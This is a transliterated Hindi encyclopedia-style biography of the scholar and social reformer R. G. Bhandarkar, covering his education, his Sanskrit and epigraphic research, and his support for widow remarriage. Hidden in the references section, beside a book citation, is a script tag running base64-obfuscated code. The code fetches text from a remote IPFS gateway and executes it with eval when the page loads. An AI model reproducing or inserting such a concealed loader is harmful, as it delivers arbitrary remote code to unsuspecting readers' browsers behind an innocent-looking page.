रामकृष्ण गोपाल भंडारकर
ramkrishna gopal bhandarakar
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| poora nam | ramkrishna gopal bhandarakar |
| janm | 6 julaee, 1837 |
| janm bhoomi | ratnagiri, maharashtr |
| mrityu | 24 agast, 1925 |
| karm bhoomi | bharat |
| bhasha | sanskrit, pali |
| vidyalay | elfianstan k aaulej, mumbee |
| shiksha | em. e. |
| puraskar-upadhi | 'd aauktaret' 1885, 'nait' 1911 |
| prasiddhi | samajasudharak tatha sarvajanik neta |
| vishesh | ramkrishna gopal bhandarakar ne apane samay ke samajik aandolanoan mean aham bhoomika nibhate hue vidhava vivah ka samarthan kiya. sath hi inhoanne jati-pratha evan bal vivah ki kupratha ka khandan bhi kiya. |
| any janakari | ramkrishna gopal bhandarakar ne brahmi, kharoshthi adi prakrit bhashaoan ka adhyayan karake shodh ke roop mean jo paanch vishal khand prakashit kie ve puratatv ke itihasakaroan ke lie aj bhi margadarshak haian. |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
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ramkrishna gopal bhandarakar (aangrezi: R. G. Bhandarkar, janm: 6 julaee, 1837, ratnagiri, maharashtr; mrityu: 24 agast, 1925) bharat ke prasiddh itihasavid, samaj sudharak aur shikshashastri the. 'aaul indiya soshal kaanfreans' (akhil bharatiy samajik sammalen) ke sakriy sadasy rahe ramkrishna gopal bhandarakar ne apane samay ke samajik aandolanoan mean aham bhoomika nibhate hue apane shodh adharit nishkarshoan ke adhar par vidhava vivah ka samarthan kiya. sath hi unhoanne jati-pratha evan bal vivah ki kupratha ka khandan bhi kiya. prachin sanskrit sahity ke vidvanh ki haisiyat se unhoanne sanskrit ki pratham pustak aur sanskrit ki dvitiy pustak ki rachana bhi ki, jo aangrezi madhyam se sanskrit sikhane ki sabase arambhik pustakoan mean se ek haian.
parichay
ramkrishna gopal bhandarakar ka janm 6 julaee, 1837 ee. ko maharashtr ke ratnagiri zile ke malavan namak sthan mean ek sadharan parivar mean hua tha. inake pita malavan ke mamaledar ke adhinasth muanshi (klark) the. shuruati shiksha mean ayi kathinaee ke bad jab inake pita ka sthanaantaran ratnagiri zile ke rajasv vibhag mean hua to inhean aangrezi skool mean padhane ka mauka mila.[1]
shiksha
ramkrishna gopal bhandarakar ne ratnagiri se skooli shiksha poori karake 1853 mean mumbee ke elfianstan k aaulej mean dakhila liya, jahaan inhoanne jin jani mani hastiyoan se shiksha prapt ki, unamean pratham rashtravadi 'chiantak' aur 'dren thiyari' ke pratipadak dadabhaee naurozi pramukh the. dadabhaee naurozi ke protsahan ke karan hi aangrezi sahity, prakritik vijnan aur ganit ke prati ruchi ke bavajood bhandarakar ne sanskrit aur pali ke jnan ke sahare gauravashali atit ke punarnirman hetu itihas-lekhan ko apanaya. 1862 mean ye elfianstan k aaulej ke pahale baich se grejuet hone valoan mean se ek the. vahaan par bi. e. tatha em. e. ki parikshaoan mean inhoanne sarvottam aank prapt kie. 1863 mean hi inhoanne parasnatak ki upadhi prapt ki.
shikshashastri ke roop mean
ramkrishna gopal bhandarakar kuchh samay tak siandh ke haidarabad aur ratnagiri ke rajakiy vidyalayoan mean pradhanadhyapak ke taur par kary karane ke bad ye elfianstan k aaulej mean vyakhyata pad par niyukt hue aur age chal kar pune ke dekkan k aaulej mean sanskrit ke pratham bharatiy profesar hue. 1894 mean apani sevanivritti se poorv bhandarakar mumbee vishvavidyalay ke upakulapati rahe. 1885 mean jarmani ki gotinge yunivarsiti ne inhean 'd aauktaret' ki upadhi pradan ki. prachyavadiyoan ke aantarrashtriy sammelan me shamil hone ke lie ye landan (1874) aur viyana (1886) bhi gaye. shikshashastri ke taur par bhandarakar 1903 mean bharatiy parishad ke anadhikarik sadasy chune gaye. gopal krishna gokhale bhi us parishad ke sadasy the. 1911 mean ramkrishna gopal bhandarakar ko 'nait' ki upadhi se sammanit kiya gaya.
kary
ramkrishna gopal bhandarakar ki sabase b di den luptapray itihas ke tatvoan ko prakash mean ana hai. us samay tak bharat mean is vishay ki or kisi ka dhyan nahian gaya tha. inhoanne brahmi, kharoshthi adi prakrit bhashaoan ka adhyayan karake shodh ke is kshetr mean path-pradarshak ka kam kiya. sarakar ne inhean hastalikhit granthoan ki khoj aur prakashan ka kary sauanpa tha. shodh ke bad jo paanch vishal khand prakashit kie ve puratatv ke itihasakaroan ke lie aj bhi margadarshak haian. 1883 ke viyana ke prachy bhasha sammelan mean inaki vidvata se videshi vidvanh chakit rah ge the. inake samman mean 1917 mean poona mean 'bhandarakar oriyantal risarch ianstityoot' ki sthapana ki gee.
rajanitik jivan
bhandarakar samajasudharak aur sarvajanik neta ke roop mean bhi prasiddh the. ye 'prarthana samaj' ke sakriy sadasy the. rajaniti mean bhi ye bharat ko british samrajy ke aantargat banae rakhane ke pakshadhar mean the. aaul indiya soshal kaanfreans (akhil bharatiy samajik sammalen) ke sakriy sadasy rahe ramkrishna gopal bhandarakar ne apane samay ke samajik aandolanoan mean aham bhoomika nibhate hue apane shodh adharit nishkarshoan ke adhar par vidhava vivah ka samarthan kiya. sath hi inhoanne jati-pratha evan bal vivah ki kupratha ka khandan bhi kiya. samajik roodhivadi mahaul ke bavajood bhandarakar ne apani putriyoan aur pautriyoan ko vishvavidyalayi shiksha dilayi aur apani pasand ka jivan sathi chunane ki paripakvata prapti tak unaka vivah nahian kiya. inhoanne apani vidhava putri ke punarvivah ke lie bhi anumati di aur inhoanne apani vidhava putri ka punarvivah karake ek udaharan prastut kiya tha.
nidhan
ramkrishna gopal bhandarakar ka 24 agast 1925 ko nidhan ho gaya.
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tika tippani aur sandarbh
bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 568 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ {pustak sandarbh |pustak ka nam=bharatiy charit kosh|lekhak=liladhar sharma 'parvatiy'|anuvadak=|alochak=|prakashak=shiksha bharati, madarasa rod, kashmiri get, dilli|sankalan= |sanpadan=|prishth sankhya=725|url=}}
sanbandhit lekh
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